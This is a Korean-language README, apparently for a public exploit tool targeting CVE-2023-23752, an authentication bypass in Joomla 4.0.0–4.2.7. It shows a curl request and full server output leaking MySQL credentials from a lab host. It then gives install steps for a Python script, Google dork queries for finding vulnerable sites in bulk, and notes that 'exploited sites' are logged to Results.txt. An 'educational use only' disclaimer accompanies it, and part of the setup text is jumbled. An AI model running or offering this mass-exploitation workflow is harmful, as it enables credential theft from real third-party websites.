
CVE-2023-23752 (4.0.0 <= Joomla <= 4.2.7)에 대한 익스플로잇.
CVE-2023-23752 (4.0.0 <= Joomla <= 4.2.7)에 대한 익스플로잇.
논의된 바와 같이 CVE-2023-23752는 정보 유출로 이어지는 인증 우회 취약점입니다. 대부분의 공개 익스플로잇은 이 우회를 이용하여 Joomla! MySQL 데이터베이스 자격 증명을 평문으로 포함하는 시스템 구성을 유출합니다. 다음은 유출 과정을 보여줍니다:
$ curl -v http://10.9.49.205/api/index.php/v1/config/application?public=true
* Trying 10.9.49.205:80...
* TCP_NODELAY set
* Connected to 10.9.49.205 (10.9.49.205) port 80 (#0)
> GET /api/index.php/v1/config/application?public=true HTTP/1.1
> Host: 10.9.49.205
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Mon, 20 Mar 2023 15:14:05 GMT
< Server: Apache/2.4.41 (Ubuntu)
< x-frame-options: SAMEORIGIN
< referrer-policy: strict-origin-when-cross-origin
< cross-origin-opener-policy: same-origin
< X-Powered-By: JoomlaAPI/1.0
< Expires: Wed, 17 Aug 2005 00:00:00 GMT
< Last-Modified: Mon, 20 Mar 2023 15:14:05 GMT
< Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
< Pragma: no-cache
< Content-Length: 1983
< Content-Type: application/vnd.api+json; charset=utf-8
<
{"links":{"self":"http:\/\/10.9.49.205\/api\/index.php\/v1\/config\/application?public=true","next":"http:\/\/10.9.49.205\/api\/index.php\/v1\/config\/application?public=true&page%5Boffset%5D=20&page%5Blimit%5D=20","last":"http:\/\/10.9.49.205\/api\/index.php\/v1\/config\/application?public=true&page%5Boffset%5D=60&page%5Blimit%5D=20"},"data":[{"type":"application","id":"224","attributes":{"offline":false,"id":224}},{"type":"application","id":"224","attributes":{"offline_message":"This site is down for maintenance.<br>Please check back again soon.","id":224}},{"type":"application","id":"224","attributes":{"display_offline_message":1,"id":224}},{"type":"application","id":"224","attributes":{"offline_image":"","id":224}},{"type":"application","id":"224","attributes":{"sitename":"vulncheck","id":224}},{"type":"application","id":"224","attributes":{"editor":"tinymce","id":224}},{"type":"application","id":"224","attributes":{"captcha":"0","id":224}},{"type":"application","id":"224","attributes":{"list_limit":20,"i* Connection #0 to host 10.9.49.205 left intact
d":224}},{"type":"application","id":"224","attributes":{"access":1,"id":224}},{"type":"application","id":"224","attributes":{"debug":false,"id":224}},{"type":"application","id":"224","attributes":{"debug_lang":false,"id":224}},{"type":"application","id":"224","attributes":{"debug_lang_const":true,"id":224}},{"type":"application","id":"224","attributes":{"dbtype":"mysqli","id":224}},{"type":"application","id":"224","attributes":{"host":"localhost","id":224}},{"type":"application","id":"224","attributes":{"user":"root","id":224}},{"type":"application","id":"224","attributes":{"password":"labpass1","id":224}},{"type":"application","id":"224","attributes":{"db":"joomla_db","id":224}},{"type":"application","id":"224","attributes":{"dbprefix":"xj3n0_","id":224}},{"type":"application","id":"224","attributes":{"dbencryption":0,"id":224}},{"type":"application","id":"224","attributes":{"dbsslverifyservercert":false,"id":224}}],"meta":{"total-pages":4}}
위 개념 증명에서 서버는 자격 증명 root:labpass1을 응답으로 반환합니다. 이는 테스트 Joomla! MySQL 계정의 자격 증명입니다. 그러나 중요한 점은 테스트 MySQL 서버가 127.0.0.1에 바인딩되어 있어 원격 공격자가 서버에 접근할 수 없으므로 자격 증명이 대부분 무용지물이 된다는 것입니다. MySQL을 localhost에 바인딩하는 것이 가장 일반적인 구성이며, 이로 인해 이 자격 증명 유출의 영향이 크게 제한됩니다.
이 익스플로잇 및 개념 증명(PoC)은 오로지 교육 및 정보 제공 목적으로 제공됩니다. 이를 공유하는 목적은 통제된 환경에서 잠재적인 취약점을 시연하는 것입니다. 목표는 사이버 보안 개념에 대한 이해를 높이고 책임 있는 공개를 장려하는 것입니다.
이 익스플로잇 및 PoC에 접근하여 사용함으로써 귀하는 전적으로 자신의 행동에 책임이 있으며, 이 정보를 해당 법률 및 규정에 따라 사용하는 데 동의함을 인정합니다. 작성자는 교육 및 책임 있는 공개 이외의 목적으로 이 PoC를 사용하여 발생하는 오용 또는 결과에 대해 어떠한 책임도 지지 않습니다.
requests, colorama, urllib3, fake_useragent, aio-http저장소를 클론합니다:
git clone https://github.com/Pushkarup/CVE-2023-23752.git
cd CVE-2023-23752
필요한 Python 패키지를 설치합니다:
pip install -r requirements.txt
.txt 확장자로 저장합니다.inurl:/api/index.php/v1/config/application?public=true, intitle:"Index of" /api/index.php/v1/config/application?public=true, filetype:php inurl:/api/index.php/v1/config/application?public=true, intitle:"Index of" AND intext:"config" AND intext:"application" AND intext:"public=true"스크립트를 실행합니다:
python joomla.py
스크립트가 실행되고 지시에 따라 진행되도록 합니다.
익스플로잇된 모든 사이트는 Results.txt에 저장됩니다.
기여를 환영합니다! 문제를 발견하거나 개선할 점이 있으면 자유롭게 풀 리퀘스트를 보내거나 이슈를 생성해 주세요.
이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다.